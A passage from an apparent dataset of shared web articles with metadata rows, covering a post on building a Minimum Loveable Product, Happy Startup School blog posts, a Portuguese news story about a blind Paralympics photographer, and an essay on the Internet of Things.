""y-hat"" problem for free. In other words, in this context, solving the ""beta-problem"" (that is, finding the true causes and estimating their direct effects) solves the ""y-hat"" problem.",en
1473941624,CONTENT SHARED,-6308850935767965758,3743121668889758064,-3237998206407004952,,,,HTML,https://medium.com/the-happy-startup-school/beyond-mvp-10-steps-to-make-your-product-minimum-loveable-51800164ae0c,So long MVP. Hello Minimum Loveable Product.,"How to Build a Minimum Loveable Product Learn how to get your digital ideas to market sooner, but still deliver a product that users fall in love with. Warning: This is a long one, so you may want to grab a hot drink :) Building products is hard Building great products is harder. Whether you work in a startup, agency, non-profit or corporate - it seems product people want it all. Whadaya want? When launching any new product there's always a tricky balance to strike between speed of delivery and quality of execution. To create a great product takes skill, dedication and discipline. And it requires us to make bold choices. Whether that is who to hire, when to launch, what to build or how well we build it. In essence, your product is defined by the decisions you make. You can't have it all Part of the reason the lean startup movement took off was we were all frustrated with how things were working - bloated products being shipped that delivered on 'the plan' but little in the way of value. The product world had reached the peak of stuffocation . Then our 'saviour' Eric Ries came to save the day. Along with his BFF - the often misunderstood Minimum Viable Product . It had good intentions . It had a purpose . But more often than not it was crappy... So if like many out there, you struggle to get much traction with your MVP, how will you know why it didn't work? If you've delivered a scaled-down, functional product but a second rate experience have you missed a trick to create an impression with your potential customers? Too many take Minimum too literally and skimp on the design as well as the scope . Rather than seeing an investment in a great experience as wasted effort, consider every interaction with your potential customers an opportunity to make an impression on them. A chance for them to engage in your mission And a chance for you to start building your tribe. Think of it as your marketing spend before you've launched. Thanks to the likes of design-led companies such as Apple, Nest, AirBnB people have become more savvy and now the price of entry is higher. So if you want to get your product noticed you're going to have to raise your game too. Ryan Singer sums it up well: ""If you decide to build a feature you should live up to at least a basic standard of execution on the experience side. "" It's a competitive world out there and people only have a short attention span. You might only get one chance so make it count. So long MVP, hello MLP So if the MVP is no longer fit for purpose in this new age of design-hungry users what's the alternative? Enter The Minimum Loveable Product . Time for some definitions: MVP The version of a new product that brings back the maximum amount of validated learning about your customers with the least effort. MLP The version of a new product that brings back the maximum amount of love from your early tribe members with the least effort. ""It's better to build something that a small number of users love, than a large number of users like."" Sam Altman, Y Combinator Think big, start small In the below example, the MVP might validate that people like cake, but it won't get people talking. The MLP should validate that people love your cake, will come back for more and tell their friends. And you've still started small so you've got room to manoeuvre. Your Minimum Loveable Product allows you to gain a following while exploring opportunities. ""Don't make customers happy. Make happy customers."" Dharmesh Shah 10 tips to go from viable to loveable So now you should have a feel of the context, here's my top 10 (yes another of those...) for making your product Minimum Loveable: 1. Give it a point Too often people focus solely on the solution they're building without really considering why they're doing it. ""Your purpose is the wind in your sail. And without the why there is no wind."" David Hieatt, Hiut Jeans/Do Lectures Without a clear purpose that drives decisions, a product can seem bloated and pointless. And when things get tough (which they inevitably will), you won't have much to pull you or your team through. Having a clear purpose adds some real meaning to your work. Simon Sinek points out that you need to awaken an emotion with your early customers so that they feel something and that most buying decisions are based on emotion, rather than logic. This is where the Golden Circle comes in. By focusing on the 'why?' you can create much deeper connections with your audience and give your product a better chance of success. 2. Do one thing well If there's one thing that startups in particular are often guilty of, it's trying to do too much, too soon. Having a clear focus means it's easier to communicate what your product is and who it's for. Take lead from success stories such as Dropbox and Instagram by doing one thing really well. Before them companies like Basecamp (formerly 37 Signals) were breaking the mould and making simple, usable software. Their co-founder Jason Fried explains their thinking in the book Getting Real : ""If you can't fit everything in within the time and budget allotted then don't expand the time and budget. instead, pull back the scope. "" It's not as easy as it sounds. Often there can be pressures from customers, investors or other team members, but learning to say no is something you'll need to get to grips with if you want a usable product . Get the core right and you'll make your life a whole lot easier. One thing we make a point of doing with each product we work on at Spook Studio is to make a list of things we won't do. This helps to add some constraints to the design process as everyone has a clear idea of what the product isn't. In this way we can make better decisions and not take our eye off the ball. We also find that agreeing on some design principles for the product can be a great way to make better and quicker decisions. One way to achieve this focus is by developing your Blue Ocean Strategy . A simple but effective framework for developing a targeted value proposition. It allows you to consider ways in which you can stay ahead of the competition and create new value. It takes discipline to stay on track and not lose focus, but it's a valuable trait that all successful entrepreneurs and product owners seem to have. 3. Timebox it In his book Steal Like An Artist author Austin Kleon writes: ""In this age of information abundance and overload, those who get ahead will be the folks who figure out what to leave out, so they can concentrate on what's important to them."" You need to prioritise. Without prioritising what's important to you the road ahead will be a rocky one. By setting constraints on time and budget this forces you to reduce the scope. After years of trying different approaches, we've come to develop a 12 week process for launching an MLP as we've found it to be the ideal timeframe to take a new product idea to market. FutureLearn's Head of Product Matt Walton has reached a similar conclusion: 3 months is enough time to deliver on your vision but not long enough to lose sight of it It's enough time to make something high quality but not long enough to get bogged down in perfectionism It's enough time to develop a rhythm and habits but not long enough that you stop questioning them It's enough time for a team to gel but not long enough for it to get stale It's enough time to spend the budget efficiently but not enough time to spend too much or go too far astray It's enough time to develop what you need to but not enough time to develop things that might start diluting the product 4. Solve only high value problems When deciding what to include for your first release it's wise to zoom in on problems that are real pain points for your customers. Yes it would be nice to solve all of their problems but if you try and do that you won't achieve an elegant simplicity in your product. Only focus on building features that relieve your customers' pain and allow them to get their jobs done simply and easily. Use tools such as the Value Proposition Canvas to help you decide which features will create real value that you can build your product around. 5. Add surprise & delight If you go to a hotel room and there's no bed there you'll be a little disappointed, possibly angry. If there's a bottle of champagne, some flowers and a box of chocolates you'll be taken aback and probably over the moon. What can you do to create a positive response from your customers? Go above and beyond what's expected of you and you'll reap the rewards. Design for emotion. 6. Put your money where your mouth is Whilst the tide is turning, there's still a need to educate startup founders in particular about the competitive advantage well-designed products and services can bring. ""Design is not just what it looks like and feels like, design is how it works."" Steve Jobs It's been proven that there's a direct correlation between a positive user experience and loyalty. Happy customers tend to spend more, more often and tell their friends. With this in mind, hire the best designer you can afford. It could be the best money you ever spend. Don't just say that design is important to you. Show it through your actions. 7. Make 'em hungry for more One of the hardest things to crack is how you can get people to use your product again and again. You may be able to get them interested but how do you get them in the habit of using it on a regular basis. This is where Nir Eyal's Hook Model comes in - a 4 step process companies can use to build customer habits. Nir elaborates in this post : The trigger is the actuator of a behavior - the spark plug in the engine. Triggers come in two types: external and internal. Habit-forming technologies start by alerting users with external triggers like an email, a link on a web site, or the app icon on a phone. After the trigger comes the intended action. Here, companies leverage two pulleys of human behavior - motivation and ability . This phase of the Hook draws upon the art and science of usability design to ensure that the user acts the way the designer intends. Variable Reward Variable schedules of reward are one of the most powerful tools that companies use to hook users. Research shows that levels of dopamine surge when the brain is expecting a reward . Introducing variability multiplies the effect, creating a frenzied hunting state, activating the parts associated with wanting and desire. Although classic examples include slot machines and lotteries, variable rewards are prevalent in habit-forming technologies as well. Investment The last phase of the Hook is where the user is asked to do bit of work. The investment implies an action that improves the service for the next go-around. Inviting friends, stating preferences, building virtual assets, and learning to use new features are all commitments that improve the service for the user. These investments can be leveraged to make the trigger more engaging, the action easier, and the reward more exciting with every pass through the Hook. We've found this model (and the accompanying book ) to be a great starting point for a customer acquisition and retention strategy. 8. Build your tribe Marketing is dead. Now's the time time to build a community around your product. A community of passionate customers that believe in your mission. So think about which customers will be so passionate about your business that they'll be your advocates - coming back regularly and telling their friends? Or another way of thinking about it: Who will love you so much that they'll get a tattoo of your company? OK, maybe a bit far fetched but it's a useful exercise and people do it... Have a think what it would take for people to love you that much? Clue: It involves winning their heart and mind, not just wallet. One effective way to build your tribe is to nail your colours to the mast and create your own manifesto before you release a product. Startups like Maptia , Holstee , NOBL Collective as well our own initiative The Happy Startup School have created their own manifestos to get people to rally around their mission. We created our Happifesto to encourage more entrepreneurs and leaders to build businesses the right way, that is, to put people first and enjoy the journey. It's what we believe in and it helped to kickstart our movement for more purpose-driven startups. And remember - it's ok if not everyone likes you. In fact, it's better if some don't. It's hard for people to love you if you're trying to appeal to everyone - it's ok to be a Marmite product . If you piss people off that generally means you're making some impact, as this chart shows... 9. Make it remarkable So don't play it too safe. Transform your product by making it remarkable. In Seth Godin's words: Be the purple cow in a field of monochrome Holsteins. So don't be a little bit different. Be very different. Don't be so safe you're easy to ignore. Give people a reason to talk. ""Take that money you would have spent on business cards and instead take your 5 most passionate customers on a pub crawl."" Jeremiah Gardner, The Lean Brand At the beginning don't sell to them. Get to know them and what makes them tick so you can create something they find worth remarking about. 10. Make it part of a strategy In his recent talk at Campus London, Entrepreneur's First co-founder Matt Clifford talked about the mistakes he'd seen teams make at his startup programme, with the most common one being what he called ' the lonely MVP '. He described this as a situation where the MVP was the product, not part of an overall product development strategy. He saw this as being a very risky approach and one which puts you at a disadvantage. You need to clarify and communicate your vision so your team is clear where you're going, what your strategy is and where the MVP fits into this. Bear in mind that your first release should the start of your journey towards product-market fit, not the end of the road. In summary Making products is hard, but if you find the right business model, aim to delight your users and get them talking, you'll be well on your way to growing your tribe of passionate super-fans and building a business with soul. So just remember to: Build sh!t that matters F-O-C-U-S Add constraints Solve a real pain point Rise above the functional Hire a designer Get your users hooked Build your tribe Make it remarkable Be strategic Remember to go beyond the viable. To build something that people actually want. And love ☺ Want to learn how to build a Minimum Loveable Product and bring your digital ideas to life fast ? We're looking for 10 budding tech founders to take part in our inaugural MLP program starting April 2016. As this is 100% online you can based anywhere. Apply here "" Yesterday I was lucky enough to spend some time with one of our inspirations at the School -  David Heinemeier Hansson or DHH, co-founder of Basecamp, creator of Ruby on Rails and co-author, along with Jason Fried, of one of our favourite business books, Rework. We made contact after his recent Medium post Reconsider which had more than 1 million views in a week and caused quite a stir for its provocative tone about the prevailing tech startup culture, particularly in the US. We talked about what motivated him to write that post in what was an insightful and fun discussion with loads of useful nuggets for anyone looking to build a business for the long-term. Check out the full interview here: Enjoy. At The Happy Startup School we're realising dreams, one startup at a time. A growing global community of budding entrepreneurs, startup founders & changemakers that believe there's more to life, and business, than money. We put on game-changing , transformative and regularly and about purpose-driven entrepreneurship. Join our movement. This coming weekend we'll be bringing together a special group of 150 people from around the world for our annual meeting of minds What you might not know is we're making the most of this unique opportunity to produce something magical. As well as the usual talks, workshops and 'in-between bits' at The Happy Startup Summercamp , we're launching a bit of an experiment. Starting on Friday afternoon and running all weekend in parallel to the main schedule will be a purposeful ideas accelerator. Campers can pitch their idea to be worked on by a talented tribe of strategists, creatives and makers (guided by the safe hands of Gustavo Tanaka and Kees Klomp ). Just some of the ideas submitted so far from campers include a rural internship program, the world's first 'agency of Dad', an online hub for young entrepreneurs, a culture handbook and a digital detox app (yes, yes we know..). So, why are we doing this? Because we can It's not every day you get this group of people together in an amazing place, with shared values and a diverse mix of skills and experiences. Only good can come of this. The power of collaboration Again and again we see that budding entrepreneurs often find it hard to share their idea or ask for help. But only by doing this will you get the support you need to realise your vision. We're hoping by people experiencing collaboration in action, there'll be a shift. The importance of starting before you're ready As the wise Sanderson Jones (our host at camp once again this year) says, the best way to start is to just start starting things . Our hope is that all the connections, talent and experience within the camp will surface if the need and mission are clear. Should this become a real business those that contribute will have the opportunity to co-own the business they help create using the collaboration platform Vestd (a startup born within the Happy Startup Community, co-founded by Naveed who'll be part of this session). Getting an idea off the ground starts with one small step. Have you got an idea that's begging to be brought to life? Due to some last minute returns there are 2 tickets left for Summercamp so it's not too late to apply to join and submit your idea to be worked on. If you can't make the event then why not become a virtual camper and be part of the event wherever you are. Last summer we took the decision to walk away from our digital agency Spook Studio so we could fully focus our attention on The Happy Startup School , at the time our 'side hustle'. Some thought we were brave. Others a little mad. 'Why would you leave behind the business that has served you so well?' they would ask. But we knew the truth, it was time to move on. It had run its course. I said at the time that we'd become a zombie company - alive but with no soul. Our minds were elsewhere as we had important work to do. Thankfully some agreed: ""The world doesn't need another design agency (even if you're a very good one), but it definitely needs a crack team of superheroes fighting for better business."" James Rutter, Cook Foods It's been quite a ride, so now seems like a good time to take stock and share our progress. First the positives It's been incredibly rewarding seeing the vision come to life quicker than it ever could have if we'd still been doing client work. We've learnt a ton. And the feeling that we're making an impact is what drives us each day. Especially when we get feedback like this: ""I probably need to start with the fact that I've read just about every top shelf book out there on the topic of startups. But it wasn't until I read your very first email - the one that invited me to explore my startup within the context of what moves me (not just what moves the market) that my own project began to blossom. And it has."" Mike, USA Looking back We don't regret our decision for a second and have had some incredible moments over the last year - from running our biggest (and most teary) Summercamp yet and taking startup tribes to India and The Alps , to helping thousands around the world bring their ideas to life through our e-courses and featuring in an TV documentary about The Purpose Economy. All with a team of four, bootstrapped and with little idea of what it would take to create a 21st century school for entrepreneurs. Sometimes it can pay to be a little naive As you can imagine it's come with some challenges -  things always take way longer than you think and we're not yet at break-even. No-one said this was going to be easy... Part of the appeal for us to switch focus was so that we could live and breathe startup life from the other side -  putting aside our mentoring hats for a while to building our own happy startup . Ultimately we wanted to practice what we preach - to do what we love doing and live our values through our work. It's required a shift in mindset from serving a handful of clients, to instead nurturing and growing a community of thousands of budding entrepreneurs and startup founders from around the world. It's been really helpful experiencing first-hand what the folks in our community are going through, so we get to enjoy and endure the highs and lows of startup life again. But it can be all consuming. When you truly care about what it is that you're doing you put everything in. And when you're working on many things you care about as we have - something usually has to give. Your work or wellbeing can suffer, you're in danger of spreading yourself too thin and the underlying stress of making ends meet can wear you down. ""I wish I could go back and tell myself that not only is there no trade-off between living a well-rounded life and high performance, performance is actually improved when our lives include time for renewal, wisdom, wonder and giving. That would have saved me a lot of unnecessary stress, burnout and exhaustion."" Arianna Huffington I know I've felt this these last few months. Once again Alptitude came at a great time. Getting clear We've also found it challenging to prioritise our efforts as a team as we get to grips with our individual roles in this new phase of our life and carve out enough time to work on the business as well as in it. Looking back, we'd lost our way a little. We'd taken on too much and a much-needed re-boot was required. Luckily help was at hand... Going wild in Lewes Our friend Max from Wild Things was keen to help us get clear as a team. So we took a day out to re-visit why we were all doing this in the first place and reflected on questions such as: What's gone well (and not so well)? Where are we now? Where are we going? What's getting in the way? The first step was getting clear on our why. Together we discussed our purpose which is best summed up by this quote: ""Don't die with the music still in you"" Wayne Dyer We exist to help people better understand who they are and what they can bring to the world, so that they can act on this before life has other plans. We believe that when you align who you are, what you believe in and what you do, you'll lead a happy life rich in purpose. And this starts by supporting people in starting things, not necessarily companies, but anything that edges them towards this goal. Re-connecting with all of this helped us to get clearer on what's in and what's out . Just say no The key takeaway from the day with Max was we needed to learn to say no more often. So that's what we're going to do. We'll say no to anything that doesn't ' make the boat go faster '. But saying no to something, means saying yes to something else. We're saying yes to developing a world-class online school that helps people start companies that align with their values We're saying yes to transformational camps that challenge people to get out of their comfort zone and edge closer to their dreams We're saying yes to creating a thriving clubhouse in Brighton where community members can learn, meet and share ideas with each other And that's it. Focus Simplifying our efforts means we can best serve the community and keep the lights on. We've learnt the hard way what we're good at and where we get energy from.As soon as it feels like we're over thinking things, planning or pitching the life gets sucked out of us. We believe that it's important to continue growing organically as we have done so far, following our noses with what feels right - not what seems like a good plan on paper. We don't want to compromise our vision to partner with big banks or large corporates (even if it makes financial sense). There's others that are happy to play that game, but that's not what we're about. We want to remain independent and have full autonomy over the work we do - and we're not here to make bigger organisations even bigger. We want to get on with what we're good at -  creating meaningful experiences online and in the real world that inspire, empower & connect purpose-driven people. Then watch in awe as they achieve great things in the world, together. And we can't let money become our main focus - we believe that if we're true to our purpose, the world will be better and so the money will flow. But we need people that believe in this too. On the hunt for our 1000 true fans We've always loved Kevin Kelly's concept of 1000 true fans . The premise is that as an artist you really only need 1000 people that love what you do and become your cheerleaders. We have 100,000 in our community across all our networks, but we want to find out who are the 1000 people that really value our work, are happy to help and want to see us secure the future of the School in the process. The chances are that we already know these people. And that they will provide the foundation we need to realise our vision. Could you be one of them? We currently have 100 founding members as part of our online community that have helped us test out a model over the last few months. Now we're looking to find the rest. These inspiring humans are the foundation of our community and want to welcome you in to the tribe. What we'll use the money for Once we start making a profit we'll invest everything back as we want to become a community-supported School fit for many years to come and build on the work done to date. Other than to cover our overheads here's what we need money for: To create a blueprint so that others around the world can run a Happy Startup School chapter in their town or city ( email us if you're interested in starting one in your town, Amsterdam is first) To work with more young people and disadvantaged communities to help them cultivate an entrepreneurial mindset and follow their dreams To create a community investment fund to support purposeful ideas To bring in smart, connected people that can help us grow our impact To offer scholarship places for events like Summercamp and Alptitude Help us and we'll help you Be part of this unique community and create a happier world If you enjoy what we do at The Happy Startup School please consider supporting us in one of the following ways: SCHOOL SUPPORTER "" £9 a month Weekly member news, Summercamp plugged-in access, member deals, 10 free startup e-course passes for you to share with friends COMMUNITY MEMBER £29 a month As above plus accountability groups, weekly video calls, Slack community, exclusive content, rich startup profiles, discounts on events, software deals CLUBHOUSE MEMBER £49 a month (Brighton UK only) As above plus free local events in Brighton, a place to work, skill swap, book library Or alternatively make a recurring or lump sum contribution of any amount. Costs exclude vat. Thanks for your support in helping us build HSS into an epic worldwide movement. Now more than ever communities like ours are needed to show the world that compassion and kindness are key to solving the world's greatest challenges. With love. Laurence, Carlos, Oli & Fiona The Happy Startup School ""Thanks for letting me be me. Because that's something that's not as normal as it should be."" Robert, Netherlands For a few days now I've been attempting to write about Alptitude 2016 , but failing miserably, never getting further than a few lines. This is the second year we've put on this event which, it's becoming clearer, is hard to put into a words (thankfully I'm not the first one ). That said we sure know what it's not: It's not a conference - because there are no speakers. Yet inspiring stories are told. It's not a training week - because there is no programme. Yet learning is everywhere. It's not a networking event  - because there are no business cards. Yet deep and long-lasting friendships are formed. It's not a retreat  - because there's adventure on tap. Yet there were real moments of calm and peace to reflect on the things that matter. It's not a vacation  - yet there is hiking, rafting, climbing, swinging (steady... the tree variety) and cycling. Not to mention great food, wine and a silly amount of fun. You can see why it's hard to fit Alptitude in a box. It's all of the above, yet none of them. True emergence in action When we first thought of creating this event with our friend Jack over a year ago the idea was a simple one. The conference format was broken. Big events don't deliver, and anyway the best bits are the in-between bits. So we created a whole week that's just this and trusted that game-changing ideas, inspiration and connections would come out of it. Or put more simply: 25 movement makers + the mountains = magic The beauty of bringing a small group of likeminded people together in the right environment is that conversations flow effortlessly. Networking doesn't feel like networking. It's easy to make friends and open up. Conversation ~ A talk, especially an informal one, between two or more people, in which news and ideas are exchanged. At Alptitude we talked. And talked. And talked. Across the dining table. On hikes. On bikes. In trees. In hot tubs. By the pool. In the teepee. In the barn. In the snow. By the fire. As a group we re-discovered the art of conversation. We forgot about our devices and were focused solely on the present. This moment, with these people took all our attention. Stories were shared, people really listened. Support was offered and help was close at hand. We were 25 people with diverse backgrounds, personalities and life experiences but similar in so many ways. As event hosts there was no need to fill up the schedule with sessions - our job was to create space then get out of the way. I'm glad we did. Conversations led to emergent huddles around a particular challenge which often led to concrete action in many cases. Websites were made, viral videos created, events were plotted, trips were planned. True collaboration without any briefs or project managers in sight. From idea to action fast . Key learnings So much happened over the course of the week that's it hard to sum up in a single post, but on the journey home I made some notes whilst reflecting on the experience and what stood out for me. Make time for the things that matter  - spending time with people you care about is a precious thing and we had this in droves at Alptitude. Challenge yourself  - you'll feel stronger for it (physically and mentally). People got outside their comfort zone, overcoming mental blocks along the way. Create space to do nothing  - and amazing things will surface. A lot of the best stuff happened when there was nothing to do, nowhere to go. Spend more time in nature  - it will make you a better leader. Every time we take people to Dream Valley they leave with a renewed perspective and crystal clear clarity. Seek out kindred spirits  - then watch those sparks fly. When you share the same values, the conditions are ripe for real innovation. Stay curious -  you'll learn about others, and yourself, in a way that will enrich your life and lead to unexpected opportunities. This led to us to an unforgettable journey to India earlier this year. Trust in the things you love  - following what interests you and you never know where it may lead. The Happy Startup School started out as a side project so we're proof of this. Turn inspiration into action  - don't let ideas overwhelm you, act on them while they're fresh in your head. Thingify your thoughts. Find your tribe -  where you can be yourself, and people love you for it. We've created our community as much for ourselves as anything else, as we never felt at home in other business settings. Dream up life-affirming experiences and go do them. When you're looking back on your life you'll remember moments like these, not stuff. Alptitude in others' words Rather than have my version of events I asked those that came to sum up their experience in one sentence in the hope that it would better communicate what value these kind of events can bring. Here's the responses we've had so far: ""The best gift I've ever given myself."" Robert, Netherlands ""I am richer in so many ways because of these good friends I have made."" Jack, France ""My experience was phenomenal. To be accepted by so many likeminded people - the week was truly inspiring and life-changing."" Muhaimin, Bangladesh ""Instead of working on my business, and business skills, Alptitude was for me the place for creating a stronger connection between my life goals, challenges, joy and purpose."" Gijsbert, Netherlands ""Alptitude has helped reinforced my beliefs and given me the passion to imagine what could be, instead of what is. We all have the opportunity to break current boundaries, there is no right or wrong. Let's PLAY!"" Maryrose, Ireland ""The rich diversity of this experience has helped me grow in a broader and deeper way than I have ever experienced at any other programme."" Sally-Anne, France ""We experience breakthroughs in technology everyday. AI, machine learning and virtual reality are but a few of the buzzwords that point to a new future. But what about a breakthrough in who you are and who you surround yourself with? What if you could spend 7 days in a place where you can upgrade your business skills, relationships and leave with a brighter view of your future self and humanity? Sounds almost as crazy as a world of self-driving cars and leisure trips into space doesn't it? But those things already exist and so does this place. I know because I did it. It's called Alptitude and you can do it too - and you should."" Jack, USA ""Alptitude. Real connections, authentic people. Awe-inspiring, perspective-setting nature. Mountain made philosophy. River-led mindfulnness. Challenging inspiration. And a gig on top of the world."" Dave, UK ""The best bits of everything wrapped into 1 week - inspiration, friends & fun. A kick to the head to wake me up to what's possible and important."" Gar, Ireland ""Alptitude will push your boundaries personally, physically and in your business like no other event. An experience that will enrich you in so many ways and give you confidence to make changes in your business and your life with the knowledge that the whole community will be with you all the way."" Tom, UK ""In one week the passion, compassion, ideas and inspiration of 25 incredible individuals has enriched me personally and professionally in ways I never imagined. Alptitude has shone a new light on my business and personal pursuits and the future is brighter than ever. Thank you :-)"" Kathryn, UK/USA ""Alptitude provided a rare chance to reflect on my day-to-day (and long term) life and work patterns from a birds eye view. It provided a safe place (amongst thoughtful, like-minded people) from which to workshop, and adjust my thinking and habits around workflows, relationships, project facilitation and team building. Perhaps most importantly, it underscored the idea that we have 'one go' at life, and that we can (and should) strive to make it exceptional - personally and professionally."" Warren, USA Thanks to everyone that took part and helped make the week what it was. Alptitude will be coming to the West Coast USA later this year, and back to Europe in June 2017. Apply here "" Or get yourself along to Happy Startup Summercamp this September for a weekend to remember. ""This feeling of Alptitude will never leave our side. Every time we hit the road I feel alive.... They say back to reality, I say back to normality. Those two are not necessarily the same."" Kim Slade, Unknown Epic",en
1473947183,CONTENT SHARED,7944907848226041964,-4125205337625989832,-5379253344898921073,,,,HTML,http://g1.globo.com/rio-de-janeiro/paralimpiadas/noticia/2016/09/cego-e-destaque-entre-os-fotografos-que-registram-paralimpiada-do-rio.html,Cego é destaque entre os fotógrafos que registram a Paralimpíada do Rio,"Em meio à aglomeração de fotógrafos que fazem o registro de imagens da Paralimpíada Rio 2016, João Maia chama a atenção de todos. Ao contrário dos outros profissionais, ele é cego. Com o auxílio da audição e da tecnologia, ele prova ser capaz de exercer com maestria a profissão que escolheu, apesar da limitação. ""Fotografia é sensibilidade"", ele afirma. (veja o depoimento dele no vídeo acima) João ficou cego em 2004, aos 28 anos, em decorrência de um caso grave de uveíte bilateral - uma inflamação na camada média do globo ocular. Ele não enxerga com o olho direito, que sofreu descolamento de retina. Já o olho esquerdo tem uma lesão no nervo ótico, além de glaucoma. Clinicamente cego, ele só é capaz de enxergar vultos coloridos à uma distância de até um metro. Por causa do problema ocular, João faz tratamento periódico no Hospital das Clínicas de São Paulo. Ele começou a fotografar quatro anos depois de ficar cego. ""A audição me ajuda e o contraste de cores me facilita"", explicou João sobre o desafio de fotografar sem enxergar. Ele opera uma câmera profissional com o auxílio de um telefone celular que possui comandos de voz e o indica onde está cada comando do equipamento. ""As pessoas me perguntam se faz diferença fotografar com uma câmera ou com um celular. Mas o que faz a diferença é quem está por trás do equipamento. Como você compõe a foto, imagina a foto. Tudo isso passa pela minha cabeça"", revelou. João Maia em ação na cobertura da Paralimpíada (Foto: Reprodução/ Internet) Superação Nascido na cidade de Bom Jesus, no Piauí, João Maia se mudou para São Paulo há 20 anos em busca de melhores condições de vida. Na capital paulista, ele concluiu o curso técnico em agropecuária. O sonho de ingressar numa faculdade só foi realizado após o problema de saúde que lhe tirou a visão. ""É engraçado como a vida traça caminhos diferentes. Eu só concluí o curso de licenciatura em história depois que eu fiquei deficiente visual, aos 33 anos. Por isso que eu digo: nunca é tarde para voltar e começar"", destacou João, que ingressou no ensino superior graças a uma bolsa de estudos para atletas. Acostumado a fotografar eventos esportivos, participar da Paralimpíada é o ponto alto da carreira de João Maia. As competições de goalball e futebol de cinco são suas favoritas. ""Todo mundo tem que ficar em silêncio, aí a gente tem que ouvir o guizo da bola. Aí é perfeito para fotografar, porque eu vou seguindo o som com o guizo e tem o contraste das cores, o que proporciona uma imagem de qualidade"", contou João. João Maia faz registro do ciclismo na Paralimpíada (Foto: Reprodução / Instagram) João Maia faz registro durante Paralimpíada (Foto: Reprodução / Instagram) Maia fez registro do nadador brasileiro Daniel Dias durante Paralimpíada (Foto: João Maia/Divulgação) Fotógrafo fez registro dos Agitos Paralímpicos da Rio 2016 (Foto: João Maia/Divulgação)",pt
1473947220,CONTENT REMOVED,7944907848226041964,-4125205337625989832,-5379253344898921073,,,,HTML,http://g1.globo.com/rio-de-janeiro/paralimpiadas/noticia/2016/09/cego-e-destaque-entre-os-fotografos-que-registram-paralimpiada-do-rio.html,Cego é destaque entre os fotógrafos que registram a Paralimpíada do Rio,"Em meio à aglomeração de fotógrafos que fazem o registro de imagens da Paralimpíada Rio 2016, João Maia chama a atenção de todos. Ao contrário dos outros profissionais, ele é cego. Com o auxílio da audição e da tecnologia, ele prova ser capaz de exercer com maestria a profissão que escolheu, apesar da limitação. ""Fotografia é sensibilidade"", ele afirma. (veja o depoimento dele no vídeo acima) João ficou cego em 2004, aos 28 anos, em decorrência de um caso grave de uveíte bilateral - uma inflamação na camada média do globo ocular. Ele não enxerga com o olho direito, que sofreu descolamento de retina. Já o olho esquerdo tem uma lesão no nervo ótico, além de glaucoma. Clinicamente cego, ele só é capaz de enxergar vultos coloridos à uma distância de até um metro. Por causa do problema ocular, João faz tratamento periódico no Hospital das Clínicas de São Paulo. Ele começou a fotografar quatro anos depois de ficar cego. ""A audição me ajuda e o contraste de cores me facilita"", explicou João sobre o desafio de fotografar sem enxergar. Ele opera uma câmera profissional com o auxílio de um telefone celular que possui comandos de voz e o indica onde está cada comando do equipamento. ""As pessoas me perguntam se faz diferença fotografar com uma câmera ou com um celular. Mas o que faz a diferença é quem está por trás do equipamento. Como você compõe a foto, imagina a foto. Tudo isso passa pela minha cabeça"", revelou. João Maia em ação na cobertura da Paralimpíada (Foto: Reprodução/ Internet) Superação Nascido na cidade de Bom Jesus, no Piauí, João Maia se mudou para São Paulo há 20 anos em busca de melhores condições de vida. Na capital paulista, ele concluiu o curso técnico em agropecuária. O sonho de ingressar numa faculdade só foi realizado após o problema de saúde que lhe tirou a visão. ""É engraçado como a vida traça caminhos diferentes. Eu só concluí o curso de licenciatura em história depois que eu fiquei deficiente visual, aos 33 anos. Por isso que eu digo: nunca é tarde para voltar e começar"", destacou João, que ingressou no ensino superior graças a uma bolsa de estudos para atletas. Acostumado a fotografar eventos esportivos, participar da Paralimpíada é o ponto alto da carreira de João Maia. As competições de goalball e futebol de cinco são suas favoritas. ""Todo mundo tem que ficar em silêncio, aí a gente tem que ouvir o guizo da bola. Aí é perfeito para fotografar, porque eu vou seguindo o som com o guizo e tem o contraste das cores, o que proporciona uma imagem de qualidade"", contou João. João Maia faz registro do ciclismo na Paralimpíada (Foto: Reprodução / Instagram) João Maia faz registro durante Paralimpíada (Foto: Reprodução / Instagram) Maia fez registro do nadador brasileiro Daniel Dias durante Paralimpíada (Foto: João Maia/Divulgação) Fotógrafo fez registro dos Agitos Paralímpicos da Rio 2016 (Foto: João Maia/Divulgação)",pt
1473947619,CONTENT SHARED,5018472516978866574,-709287718034731589,-4755702299108850458,,,,HTML,https://medium.com/@dconrad/the-internet-of-things-is-looking-for-its-visicalc-1a4b0e95c22a,The Internet of Things is looking for its VisiCalc,"There's an interesting dualism in attitude toward the Internet of Things: We're all sure IoT is going to be huge. But no one needs it right now. Microcomputers were kind of like this in the 1970s. Intel and others put the processing core of a computer onto a single chip, making the microcomputer possible. Which allowed Steve Wozniak to build a microcomputer, all on one circuit board. But no one had any idea what to do with it. Steve Jobs thought people might store their recipes on a home computer. I don't think anyone has ever done that. So, for the first few years microcomputers were nothing more than a toy for early adopters. It wasn't until 1979, three years later, that VisiCalc shipped. VisiCalc was the first viable spreadsheet for the Apple II, and it's largely credited with making the microcomputer useful . Suddenly, you could build financial projections, calculate budgets, make plans, from your own thousand-dollar computer. This was the ""killer app"" that made the micro computer matter. It was quickly followed by desktop publishing, CAD, and a bunch of other killer applications. It feels like IoT is in a similar phase. We're just hitting the point where cloud-connectivity is cheap - new wireless chips make networks easy to deploy and dramatically reduce costs. Most people that don't build connected devices probably don't realize that this is a very recent phenomenon. We now have chips that enable low-cost IoT at scale. (More on that in this post .) So now we can connect anything to the internet, but we're not quite sure why we need to do that. To monitor temperature in the fridge? Improve physical security? Do smart-city-things? Track location of... everything? What will be the killer app for IoT that puts devices in every room of every home, every corner of every office, and maybe even in every piece of clothing we wear? The truth is, we just don't know. But I'm not worried. Quite the contrary, I'm betting my career on a belief that we'll see orders of magnitude more connected devices in the coming years, and that they'll change the world in ways we can't even imagine. The IoT is coming. We're just not quite sure what to do with it yet. - Daniel is co-founder of Beep Networks , an enabler of easy-to-deploy long-range IoT networks and systems.",en
